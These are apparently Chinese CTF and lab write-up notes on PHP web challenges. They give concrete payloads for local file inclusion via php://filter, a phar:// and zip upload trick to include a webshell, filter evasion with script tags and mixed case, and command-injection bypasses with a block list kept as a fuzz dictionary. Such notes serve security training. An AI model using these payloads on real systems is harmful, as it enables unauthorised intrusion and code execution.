文件包含
[第一章 web入門]afr_1 1
打開靶機:http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=hello
看到形如?p=或者?file=、?page=類似的就要警惕。很有可能是文件包含漏洞。
嘗試包含index或者flag。發現包含flag后報錯no no no(導致代碼執行了,看不到flag)
嘗試偽協議包含。
http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=php://filter/read=convert.base64-encode/resource=flag
得到PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9,base64解碼即可。
需要注意的是這道題用write不可以。不寫read=,或者寫read=都可以。
合天網安練習題
到合天官網,搜索: 第十一周 | 簽到般的包含 https://www.hetianlab.com/expc.do?ce=27f8fb0b-f176-4c4c-ae0e-6c6619c851a0
1、打開地址發現是一個上傳界面。按照常規思路,先上傳系統自帶的一個圖片,發現無法上傳。后來發現可能是限制上傳大小了。自己動手存了個小的圖片,jpg格式。可以正常上傳。
2、題目提示有include.php,實戰中也可以使用御劍掃描。
3、訪問include.php后發現代碼如下,應該有file參數可以訪問,但是可以看到攔截了不少參數:
Tips: the parameter is file! :) <html> Tips: the parameter is file! :) </html> <?php show_source(__FILE__); ///opt/flag3.txt @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
4:、嘗試使用偽協議,zip、phar協議。結合之前的上傳頁面,上傳一個1.zip包,包里面放一個1.php。
1.php先寫成<?php phpinfo();?>用於測試。測試成功之后可以改寫成一句話木馬。
注意由於上傳時限制后綴,所以zip需要改名為jpg
5、上傳后使用phar://upload/1.jpg/1
即可包含。從include.php代碼可以看到,include($file.'.php');結尾會自動添加php,所以上一句最后的1后面什么也不用跟。
經實測,zip協議也是可以的。
合天網安上傳題第五周-第八周
第八周
考察的點,主要是繞過。上傳后,要注意看代碼,上傳的鏈接已告知。在瀏覽器源碼中也能看到。
發現php可能被過濾了。因為上傳的phpinfo顯示位info。。。
參考這里https://blog.csdn.net/xiayu729100940/article/details/102619255
將php改為<script language=”php”> </script>,同時所有語句中的php改為PHP或Php
<script language=pHp> Phpinfo(); ?>
成功執行,改為一句話木馬即可。用蟻劍連接即可。注意大小寫,馬里面的POST等全部要用大寫。估計因為后台是linux的緣故。
命令執行
安恆ctf-命令執行漏洞相關練習-commix
打開后是一個輸入框。輸入ls后發現可以看到flag.php和index.php
嘗試cat$IFSflag.php,發現不行。tac$IFSflag.php也不行。估計有過濾。
改為ls|xargs tac得到flag,也可以看到源代碼。其中的確過濾了不少內容。包括cat / cd flag curl { ( ' " echo \\ & grep base64
直接作為fuzz字典,以后用。
cat / cd flag curl { ( ' " echo \\ & grep base64 tac $IFS <
官方給出的解法是:
a=`expr sbustr $PATH 1 1`;b=fla;c=g.php;d=ca;e=t;$d$e ..$a$b$c;
其中a用來獲得/
..$a$b$c用來組合成../flag.php
$d$e用來組合成為cat,繞過對cat的過濾。